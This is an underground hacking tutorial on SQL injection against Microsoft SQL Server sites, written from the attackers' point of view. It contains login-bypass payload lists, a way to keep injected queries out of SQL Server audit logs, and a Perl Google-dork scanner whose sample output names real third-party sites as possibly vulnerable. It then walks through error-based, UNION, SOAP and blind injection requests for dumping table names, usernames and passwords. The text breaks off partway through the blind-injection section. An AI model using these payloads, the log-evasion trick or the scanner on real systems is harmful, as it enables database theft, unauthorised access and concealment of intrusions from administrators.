    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

[0x00] - Introduction

    Welcome reader, this paper is a short attempt at documenting a practical technique
    we have been working on. This papers will guide about technique that allows the attackers
    (us) gaining access into the process of exploiting a website via SQL Injection Techniques
    that we focused on MSSQL only

    This paper is divided into 8 sections but only from section 0x01 to 0x06 are about technical information.

    Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities whichare classified into two types, normal and blind. Section 0x02, we give a detail of each way attacking through SQL injection. Section 0x03, we explain the way to enumerate data through blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.
    Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.

[0x01] - Know the Basic of SQL injection

    In this part we have five topics

    [0x01a] - Introduction to SQL Injection Attack
    [0x01b] - How to Test sites that are Vulnerable in SQL Injection
    [0x01c] - Bypass Authentication with SQL Injection
    [0x01d] - Audit Log Evasion
    [0x01e] - (Script) SQL-Google searching vulnerable sites

    Arrow Introduction
    SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL (Structured Query Language) commands. Typically executed through the web application front end (use interface, form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized execution of SQL commands on the database server.

    [0x01a] - Introduction to SQL Injection Attack
    SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query
    in order to alter the outcome of the query. Take the example of an application that requests a user id for authentication. The application adds this user ID to a predefined SQL query to perform authentication.

    However, if instead of providing a valid user name the attacker inputs a specialized SQL command
    that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this way the attacker can execute any SQL command on the host system without even needing to log in.

    A successful SQL injection exploit can read sensitive data from the database, modify database data
    (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.

    An application is vulnerable to SQL injection attack when:
    - User input is incorrectly filtered for string literal escape characters embedded in SQL statements.
    - User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute in an unexpected manner

    SQL Injection always occur in application that needs to talk to a Database include:
    - Authentication forms (Login Pages)
    - Search forms
    - E-Commerce sites
    - Forum / Webboard
    - Content Manage System (CMS's that use DB),Such as:
    Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)
    Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)
    Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)

    [0x01b] - How to Test sites that are vulnerable in SQL Injection
    We must make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. The very first test usually consists of adding a single quote (') , double quote ("") or a semicolon (;) to the field under test.

    [Simple URL] http://www.example.com/news.asp?id=10
    [Test SQLi] http://www.example.com/news.asp?id=10'

    It's vulnerable in SQL injection,If the output some error like this:
    [HTTP Response]-----------------------------------------------------------------------------
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
    character string ''.
    /news.asp, line 52
    [End HTTP Response]-------------------------------------------------------------------------

    Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability:

    If contains is the different as original URL that dump all data from database, It's vulnerable in SQL injection.

    [Simple URL] http://www.example.com/news.asp?id=2
    Code: (Click here to copy code to clipboard)

    News: 2
    Details: Preventing blind SQL injection attacks, Most security professionals know ...

    [Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1
    Code: (Click here to copy code to clipboard)

    News: 1
    Details: SQL injection attack infects hundreds of thousands of websites ...

    News: 2
    Details: Preventing blind SQL injection attacks, Most security professionals know ...

    News: 3
    Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ...

    News: 4
    Details: New Botnet Malware Spreading SQL injection attack tool ...

    That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks),
    It's return all query from DB, Why ??

    [ASP_code]
    var sql = "SELECT * FROM news WHERE id = '" + getid +"'";
    [End ASP_code]

    [Final query //id=2]
    SELECT * FROM news WHERE id = '2' // It's will return News 2
    [End id=2]

    [Final query //id=2' or 'a'='a] // Testing SQLi Vuln
    SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE,
    // So It will return all news (id=1,2,3,...)
    [End id=2' or 'a'='a]

    [0x01c] - Bypass Authentication with SQL Injection
    This basic technique for "bypass Login" when application use DB to checking authentication.
    However, an attacker may possibly bypass this check with SQL injection.

    [Example scripts]
    +-----------------------------+
    ' or 1=1 --
    a' or 1=1 --
    " or 1=1 --
    a" or 1=1 --
    ' or 1=1 #
    " or 1=1 #
    or 1=1 --
    ' or 'x'='x
    " or "x"="x

    ') or ('x'='x
    ") or ("x"="x
    ' or username LIKE '%admin%
    +-----------------------------+
    USERNAME: ' or 1/*
    PASSWORD: */ =1 --
    +-----------------------------+
    USERNAME: admin' or 'a'='a
    PASSWORD: '#
    +-----------------------------+

    [Login ASP_code]-----------------------------------------------------------------------------------
    var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";
    [End Login ASP_code]-------------------------------------------------------------------------------

    When we input something like this:
    formusr = admin
    formpwd = ' or 'a='a

    [SQL Query]---------------------------------------------------------------------------------
    SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
    [End Code]----------------------------------------------------------------------------------

    This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a)

    If we input something like this
    formusr = ' or 1=1 --
    formpwd = anything

    [SQL Query]---------------------------------------------------------------------------------
    SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
    [End Code]----------------------------------------------------------------------------------

    ** Note **

    -- is comment operator of MSSQL DB used to comment out everything following this operator.
    /*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.

    DROP/*comment*/sampletable
    DR/**/OP/*bypass blacklisting*/sampletable
    SELECT/*avoid-spaces*/password/**/FROM/**/Members

    If application is first getting the record by username and then compare returned MD5 with supplied password's

    MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with

    a known password and MD5 hash of supplied password. In this case application will compare your password and

    your supplied MD5 hash instead of MD5 from database.

    formusr = admin
    formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72

    1a1dc91c907325c69271ddf0c944bc72 = MD(pass)

    [0x01d] - Audit Log Evasion
    When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know

    what's happen ?
    The technique for evade logging, We use "sp_password"

    formusr = ' or 1=1 -- sp_password
    formpwd = anything

    SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries, it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible).

    [0x01e] - (Perl Script) SQL-Google searching vulnerable sites
    The Good way to searching sites that have SQL injection vulnerability is "Google"
    (That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search":

    Code:

    #!/usr/bin/perl
    use LWP::Simple;
    use LWP::UserAgent;
    use HTTP::Request;
    my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
    print "+++++++++++++++++++++++++++++++\n";
    print "+ SQL - Google Search +\n";
    print "+ MafiarooT Underground +\n";
    print "+++++++++++++++++++++++++++++++\n\n";
    print "Insert Dork:";
    chomp( my $dork = );
    print "Total Query Pages (10 Links/Pages) :";
    chomp( my $page = );
    print "\n[+] Result:\n\n";
    for($start = 0;$start != $page*10;$start += 10)
    {
    $t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$star;
    $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
    $ua->timeout(10);
    $ua->env_proxy;
    $response = $ua->get($t);
    if ($response->is_success)
    {
    $c = $response->content;
    @stuff = split(/    foreach $line(@stuff)
    {
    if($line =~/(.*) class=l/ig)
    {
    $out = $1;
    $out =~ s/\"//g;
    $out =~s/$/\'/;
    $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
    $ua->timeout(10);
    $ua->env_proxy;
    $response = $ua->get($out);
    $error = $response->content();
    if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
    {print "$out => Could be Vulnerable in MySQL Injection!!\n";}
    elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
    {print "$out => Could be Vulnerable in MS Access Injection!!\n";}
    elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
    {print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
    elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
    {print "$out => Could be Vulnerable in Oracle Injection!!\n";}
    }
    }
    }
    }

    [output]
    ------------------------------------------------------------------------------------

    +++++++++++++++++++++++++++++++
    + SQL - Google Search +
    + MafiarooT Underground +
    +++++++++++++++++++++++++++++++

    Insert Dork:index.asp?sid=
    Total Query Pages (10 Links/Pages) :5

    [+] Result:

    http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!!
    http://www.waterbucket.ca/rm/index.a...&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!!
    http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!!

    [End output]

[0x02] - MSSQL Normal SQL Injection Attack

    In this part we have four parts

    [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
    [0x02b] - ODBC Error Message Attack with "CONVERT"
    [0x02c] - MSSQL Injection with UNION Attack
    [0x02d] - MSSQL Injection in Web Services (SOAP Injection

    [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
    We can use information from error message produced by the MS SQL Server to get almost any data we want.

    - "GROUP BY" is a microsoft sql server command used to group output of particular sql query.
    - "HAVING" is a command used to specify a search condition for a group or an aggregate.
    this command is always used with "GROUP BY" otherwise the error will return.

    As the operation of these two commands, we can take advantage of them in order to
    obtain particular table name and all column names of this table. We will explain you by using an example.

    First, The target has a table called "news" and in news, there are three columns, which are news_id,

    news_author and news_detail.

    The vulnerable page is http://www.example.com/page.asp?id=1
    The query in this page is something like :
    Code: (Click here to copy code to clipboard)

    var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";

    So, we can inject HAVING command in order to observe returned error

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1' HAVING 1=1--

    The query will be

    SELECT * FROM news WHERE news_id='1' HAVING 1=1--'

    We will get the error as following:

    ------------------------------------------------------------------------------------
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
    the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
    ------------------------------------------------------------------------------------

    In this error, we know table name = "news", used in this page and
    one column name = "news_id", contained in particular table.

    The error is originate from using HAVING command without GROUP BY command.
    Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--

    The query will be

    SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'

    We will get the error

    ------------------------------------------------------------------------------------
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in
    the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
    ------------------------------------------------------------------------------------

    Now, we know the second column name of table1 = "news_author". The third column name can be obtained by adding

    the second column name in the previous query :
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--

    The query will be

    SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'

    The request will generate following error

    ------------------------------------------------------------------------------------
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
    the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
    ------------------------------------------------------------------------------------

    The third column name = "news_detail", pops up in returned error. If we had more columns,
    we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.

    When we added all of column in GROUP BY clause, we will get normal result and we absolutely know that we

    obtained all column name in table1.

    As this example, the request below will generate no error.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--

    The query will be

    SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'

    As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail".

    [0x02b] - ODBC Error Message Attack with "CONVERT"
    In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their

    application meanwhile it is valuable for many attackers, as seeing in previous section.

    In this section, we provide another method of utilizing from MSSQL error through a command called "convert".
    convert command is used to convert between two data type and when the specific data cannot convert to another

    type, this command will return error. let see through an example:

    In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=convert(int,@@version)--

    Error Message returned:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2003 - 9.00.3042.00 (Intel X86) Feb

    9 2007
    22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service

    Pack 1)
    ' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=convert(int,db_name())--

    Error Message returned:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'MafiarooTdb' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    We can know the Database name = "MafiarooT", Next is query for get current user that run DB.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=convert(int,user_name())--

    Error Message returned:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'sa' to data type int.
    /showthread.asp, line 9
    ------------------------------------------------------------------------------------

    W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended
    stored procedure "XP_CMDSHELL" to run arbitrary command executes.

    In next example, we show you how to obtain table names, column names and data.

    Take a look at our First request
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=...table_name from information_schema.tables))--

    "information_schema.tables" stores information about tables in databases and there is a field called "table_name" which stores names of each table. The result of this request is something like this:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'threads' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type,

    the error is returned.
    Therefore, we know the first table = "threads", from this error. The next step is looking for the second table.
    We only put WHERE clause append the query in above request.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=...e from information_schema.tables where table_ name+not+in+('threads')))--

    We will get an error like this:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'users' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    Again, we know the second table = "users", from the error. If we want another table, we just append our known table list. for example :
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=...e from information_schema.tables where table_ name+not+in+('threads','users')))--

    And we will get an error:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'forums' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    This means the third table = "forums". On the other hand, if the previous request return something like this.

    ------------------------------------------------------------------------------------
    ADODB.Field error '800a0bcd'
    Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current

    record.
    /page.asp, line 10
    ------------------------------------------------------------------------------------

    It means this database consists of only two tables, threads and users.

    OK, now, we already get all tables. The next target is column names.
    The method to retrieve column names is not much different from getting table names.
    We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name" but we have to add "table_name" in WHERE clause in order to specify the table which we will pull column names from.

    Don't talk too much, let see an example :
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=...n_schema.columns where table_name='users'))--

    From this request, we get an following error

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'uname' to data type int.
    /showthread.asp, line 9
    ------------------------------------------------------------------------------------

    As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname".
    For another column name, we add a bit in WHERE clause.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=...='users' and column_name not in ('uname')))--

    We will get an below error.

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'upass' to data type int.
    /showthread.asp, line 9
    ------------------------------------------------------------------------------------

    Absolutely we know the second column = "upass", of table 'users'. For getting more column names,
    we only append a known table list like that in getting table names. For example :
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=... and column_name not in ('uname','upass')))--

    The Error message:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'email' to data type int.
    /showthread.asp, line 9
    ------------------------------------------------------------------------------------

    So, the third column is "email". but if the error is

    ------------------------------------------------------------------------------------
    ADODB.Field error '800a0bcd'
    Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current

    record.
    /page.asp, line 10
    ------------------------------------------------------------------------------------

    This means no more column left. Next is the real target which attackers want, the data.
    If take a look carefully, we will see that the idea is not different from getting table and column.
    Use the same manner but change only table and column name.

    If we want uname data in table users, we can do like this:
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=convert(int,(select top 1 unam e+from+users))--

    We will see uname in returned error.

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'admin' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname,
    we just create a known table list as table and column.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=convert(int,(select top 1 unam e+from+users+where+uname+not+in+('admin')))--

    Error again:

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'MafiarooT' to data type int.
    /page.asp, line 9
    ------------------------------------------------------------------------------------

    OK, we get another "uname" which is 'MafiarooT'. If we try following request.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=convert(int,(select top 1 unam e+from+users+where+uname+not+in+('admin','MafiarooT')))--

    And we get an error like this

    ------------------------------------------------------------------------------------
    ADODB.Field error '800a0bcd'
    Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current

    record.
    /showthread.asp, line 10
    ------------------------------------------------------------------------------------

    It means there are only two uname in users table (admin,MafiarooT).

    [0x02c] - MSSQL Injection with UNION Attack
    This method differs from the both previous methods because we do not get information through error
    but we, instead, see it in some point of returned page.

    First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause.

    http://www.example.com/page.asp?id=1 order by 1--
    http://www.example.com/page.asp?id=1 order by 2--
    http://www.example.com/page.asp?id=1 order by 3--

    http://www.example.com/page.asp?id=1 order by 4--
    and so on

    We observe a result from each request until we get error like this.

    ------------------------------------------------------------------------------------
    Microsoft SQL Native Client error '80040e14'
    The ORDER BY position number 5 is out of range of the number of items in the select list.
    /showthread.asp, line 9
    ------------------------------------------------------------------------------------

    This means this page select four columns from table and this error occurs when we request

    http://www.example.com/page.asp?id=1 order by 5--

    Now, we use UNION operator to gain information.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,4--

    We will see "1" or "2" or "3" or "4" appeared on some point in returned page. We assume that we have already

    located the position which "4" occur on the screen.
    (We should remember this position because it is where our information will be appeared)

    As we found "4" on the screen, we replace "4" with "@@version" in order to find the version of MSSQL.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,@@version--

    We will see version of MSSQL appeared in the position which "4" occurred.

    At this point, we know that next information definitely takes place in this position.

    The rest are to find table names, column names and data. As we see in previous section,
    we can obtain table names and column names through "information_schema" database.
    We still use the same way in this approach.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,table_name frominformation_schema.tables--

    We will see the first table on the screen. We assume it is table called 'threads'. We can find next table by following request.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,table_name from information_schema.tables where table_name not in ('threads')--

    We assume the retrieved table is 'users'. So, we append a known table list until we get blank in position which "4" occurred.
    After we get all table names that we want, we move to gather column names.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,column_name from information_schema.columns where table_name='users'--

    From this request, we will see the first column in table 'users'. We assume it is 'uname'. For another column, we can use following request.

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,column_name from information_schema.columns where table_name='users' and column_name not in ('uname')--

    We get the second column which is 'upass' and we continue appending a known column list until we get blank result.
    The most wanted information is data. It is quite simple after we obtained table names and column names. We just use following request.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,uname from users--

    We will get data such as admin from the request. In order to get another row, we only append information list as following.
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,uname from users where uname not in('admin')--

    Now, we can enumerate the rest data.

    [0x02d] - MSSQL Injection in Web Services (SOAP Injection)
    Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise.
    In such systems, there is often a machine-readable description of the operations offered by the service written

    in the Web Services Description Language (WSDL).
    SOAP is often used in large-scale enterprise applications where individual tasks are performed by different

    computers to improve performance. It's often found where web application that deployed as a front-end to an

    existing application.

    Let's take a look for SOAP request like this:
    Quote:
    POST /webservice/service.asmx HTTP/1.0
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
    Content-Type: text/xml; charset=utf-8
    SOAPAction: "http://tempuri.org/GetUserInfo"
    Host: testcwh.cwh.net
    Content-Length: 345
    Expect: 100-continue
    Connection: Keep-Alive

        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

    xmlns="http://tempuri.org/">admin1234
    Can you see username(admin) and password(1234) that send to Server side ?

    What's happen if we injection (') single quote to username field like this:

    admin'1234
    before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP respond.
    Quote:
    HTTP/1.1 200 OK
    Date: Mon, 26 Jan 2009 15:45:27 GMT
    Server: Microsoft-IIS/6.0
    X-Powered-By: ASP.NET
    X-AspNet-Version: 2.0.50727
    Cache-Control: private, max-age=0
    Content-Type: text/xml; charset=utf-8
    Content-Length: 1057
    Connection: close
    X-Junk: xxxxxxxxxxx

        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    true
    System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.
    Incorrect syntax near '81'.
    at System.Data.OleDb.OleDbDataReader.ProcessResults(O leDbHResult hr)
    at System.Data.OleDb.OleDbDataReader.NextResult()
    at System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al(CommandBehavior behavior, String method)
    at System.Data.OleDb.OleDbCommand.ExecuteReader(Comma ndBehavior behavior) at Service.GetUserInfo(String username, String password)SELECT * FROM users WHERE username='admin'' AND password='81dc9bdb52d04dc20036dbd8313ed055'-10001-0101T00:00:00
    Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you

    in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi:
    admin' and 1=convert(int,@@version)--

    [SOAP Request/Respond]----------------------------------------------------------------------

    *** Request ***
    POST /webservice/service.asmx HTTP/1.0
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
    Content-Type: text/xml; charset=utf-8
    SOAPAction: "http://tempuri.org/GetUserInfo"
    Host: testcwh.cwh.net
    Content-Length: 384

        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    admin' and 1=convert(int,@@version)--

    1234


    *** Response ***
    HTTP/1.1 200 OK
    Date: Wed, 28 Jan 2009 15:59:17 GMT
    Server: Microsoft-IIS/6.0
    X-Powered-By: ASP.NET
    X-AspNet-Version: 2.0.50727
    Cache-Control: private, max-age=0
    Content-Type: text/xml; charset=utf-8
    Content-Length: 1266
    Connection: close
    X-Junk: xxxxxxxxxxx

        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    true
    System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server

    2005 - 9.00.3042.00 (Intel X86)
    Feb 9 2007 22:47:07
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
    ' to data type int.
    at System.Data.OleDb.OleDbDataReader.ProcessResults(O leDbHResult hr)
    at System.Data.OleDb.OleDbDataReader.NextResult()
    at System.Data.OleDb.OleDbCommand.ExecuteReaderIntern al(CommandBehavior behavior, String method)
    at System.Data.OleDb.OleDbCommand.ExecuteReader(Comma ndBehavior behavior) at Service.GetUserInfo(String username, String password)SELECT * FROM users WHERE username='admin' and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'-10001-01-01T00:00:00

    [End]---------------------------------------------------------------------------------------

    W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).
    Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).

[0x03] - MSSQL Blind SQL Injection Attack

    Here we have four parts

    [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
    [0x03b] - Determine data through Blind SQL Injection
    [0x03c] - Exploit Query for get Table name
    [0x03d] - Exploit Query for get Column name
    __________________

    Introduction
    In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.
    The important point for blind sql injection is the difference between the valid and invalid query result.
    You have to inject a statement to make query valid or invalid and observe the response.
    Just because you don't see any results, doesn't mean that your injected SQL is not being executed !!
    __________________

    [0x03a] - How to Test sites that are vulnerable in Blind SQL Injection
    We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.

    You can try to inject a statement like this

    http://www.example.com/page.asp?id=1 and 1=1
    and
    http://www.example.com/page.asp?id=1 and 1=2

    If the results from these requests are different, it will be a good signal for you.
    This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1", it means that the condition is true so, the response must be normal.
    But the parameter "id=1 and 1=2" indicates that the condition is false
    and if the webmaster does not provide a proper filter, the response absolutely differs from previous.
    __________________

    [0x03b] - Determine data through Blind SQL Injection
    By using blind technique, you have to spend more time than normal injection.
    You can obtain only one character while you send several queries to server.
    We will give you an example of querying the first character of database name.
    We assume that database name is member. Therefore, the first character is "m" which the ascii value is 109. (At this point, we assume that you know ascii code)

    Ok, first, we have to know that the results from requests have only 2 forms.

    1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1
    2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2

    The following steps are up to each person. You idea may be different from our idea in order to pick ascii code

    to test query.

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)>90

    In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1
    (because the first character of database name is "m" which ascii code is 109). Then, we try

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120

    It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely

    less than 120).
    next, we try

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)>105

    The result is a valid query result and at this point, the ascii value of first character of database name is

    between 105 and 120.
    So, we try

    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112

    ===> invalid query result
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108

    ===> valid query result
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)>110

    ===> invalid query result
    Code: (Click here to copy code to clipboard)

    http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar (8000)),1,1)),0)>109

    ===> invalid query result

